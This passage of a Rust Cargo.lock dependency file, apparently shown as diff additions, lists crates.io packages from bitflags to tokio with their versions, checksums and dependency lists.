= "bitflags" +version = "2.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest", +] + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bstr" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bb31b46c14244e20ee9984b11bf5c992b91fb6939fea616e3512c8baecdbe5f" +dependencies = [ + "memchr", + "regex-automata", + "serde_core", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "bytes" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" + +[[package]] +name = "cc" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f360145194ee8e21db5ee7f3fcd4fe52210864c75c985dae33218202c8bbe040" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600" + +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clap" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa8876b300ab35ba921adea3dfd70157a46249b33f95c9084ae5709785478946" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0797fb7aeb1406c84efac526901f7ec3ead2124f946b494e72879d4b54704d" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9c751b79415d4e559e3d1fcf128e09e720eb673a06d26cf6f392d37d75b66e0" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "clap_lex" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c133bc6a41be0d194c306b5506d15e6feeea7b1d6604bd3f8310dfb2ca96486" + +[[package]] +name = "cocoa" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad36507aeb7e16159dfe68db81ccc27571c3ccd4b76fb2fb72fc59e7a4b1b64c" +dependencies = [ + "bitflags", + "block", + "cocoa-foundation", + "core-foundation", + "core-graphics", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "cocoa-foundation" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81411967c50ee9a1fc11365f8c585f863a22a9697c89239c452292c40ba79b0d" +dependencies = [ + "bitflags", + "block", + "core-foundation", + "core-graphics-types", + "objc", +] + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core-graphics" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1" +dependencies = [ + "bitflags", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb" +dependencies = [ + "bitflags", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "rand_core", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "difflib" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "either" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "252afb9ae5eaa683babdc6a068b3f5726eb19e05070c731f9b2a23a7c3e8ed34" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "find-msvc-tools" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aedcfb3409746eddb02b9e19ebda1c3394f759a152e48ee875a0844d1b955484" + +[[package]] +name = "float-cmp" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b09cf3155332e944990140d967ff5eceb70df778b34f77d8075db46e4704e6d8" +dependencies = [ + "num-traits", +] + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea5190182e6915eb873ddbc16e23b711b6eb1f9c00a0d0a3a91b5f6228475225" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "fs2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9564fc758e15025b46aa6643b1b77d047d1a56a1aea6e01002ac0c7026876213" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-executor" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "031b47cf1a3c6cc8bc2fc76cd437f521619387907d469316e7c0bc278f1f5432" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "getrandom" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" +dependencies = [ + "cfg-if", + "libc", + "r-efi", +] + +[[package]] +name = "ghash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "hashbrown" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "home" +version = "0.5.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "indexmap" +version = "2.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "generic-array", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + +[[package]] +name = "itoa" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" + +[[package]] +name = "js-sys" +version = "0.3.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7883d941dae510fb2d978fc3fe018c71c9e2892fd38854de3e8b92c2e5ad9cc5" +dependencies = [ + "cfg-if", + "futures-util", + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20870f649af7073d53e38067b2a84312175d56ea15217e1b15bc83506ec50afb" + +[[package]] +name = "libc" +version = "0.2.189" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6" + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + +[[package]] +name = "memchr" +version = "2.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" + +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mio" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b18443e9c262bfe8fa82f51666e2642c53393f7e5c27b3e1aeab922cff5b9d8" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", + "memoffset", +] + +[[package]] +name = "normalize-line-endings" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61807f77802ff30975e01f4f071c8ba10c022052f98b3294119f3e615d13e5be" + +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "num-traits" +version = "0.2.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" +dependencies = [ + "autocfg", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", +] + +[[package]] +name = "once_cell" +version = "1.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "password-hash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" +dependencies = [ + "base64ct", + "rand_core", + "subtle", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "polyval" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25" +dependencies = [ + "cfg-if", + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "predicates" +version = "3.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ada8f2932f28a27ee7b70dd6c1c39ea0675c55a36879ab92f3a715eaa1e63cfe" +dependencies = [ + "anstyle", + "difflib", + "float-cmp", + "normalize-line-endings", + "predicates-core", + "regex", +] + +[[package]] +name = "predicates-core" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cad38746f3166b4031b1a0d39ad9f954dd291e7854fcc0eed52ee41a0b50d144" + +[[package]] +name = "predicates-tree" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0de1b847b39c8131db0467e9df1ff60e6d0562ab8e9a16e568ad0fdb372e2f2" +dependencies = [ + "predicates-core", + "termtree", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e058c7de0b26af77780c769414d6257830bb240f3c38477dbc2c16e5f54d6d4c" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "regex" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4" + +[[package]] +name = "rpassword" +version = "7.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2da316a15f47e3d053de9cb2c439650bd8fa4aaeb9365f2e5f27f492ff73c196" +dependencies = [ + "libc", + "rtoolbox", + "windows-sys 0.61.2", +] + +[[package]] +name = "rtoolbox" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a1efe12a1469752d0e6ff5ebec0b6ef4924cc5c4c71046b0ec730040535819d" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891efababe418670775f199f0d233d84843c227a0949a883ce15b37c78d6629d" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustversion" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_spanned" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3" +dependencies = [ + "serde", +] + +[[package]] +name = "serial_test" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "699f4197115b8a7e7ff19c9a315a4bd6fffec26cc4626ef45ecaea389e081c6d" +dependencies = [ + "futures-executor", + "futures-util", + "log", + "once_cell", + "parking_lot", + "serial_test_derive", +] + +[[package]] +name = "serial_test_derive" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94e153fc76e1c6a068703d6d29c508a0b15c061c4b7e43da59cc097bc342673c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9395f0f0eee849a9b707b2f06bb92a6a422090e2123bb2ef8e87a0e61892a8e" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix 1.1.5", + "windows-sys 0.61.2", +] + +[[package]] +name = "termtree" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f50febec83f5ee1df3015341d8bd429f2d1cc62bcba7ea2076759d315084683" + +[[package]] +name = "thiserror" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "thread_local" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad99c4c6d32803332c548b1af0540b357b3f5fc0be8f6c6bfe8b2e6ae784070" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + 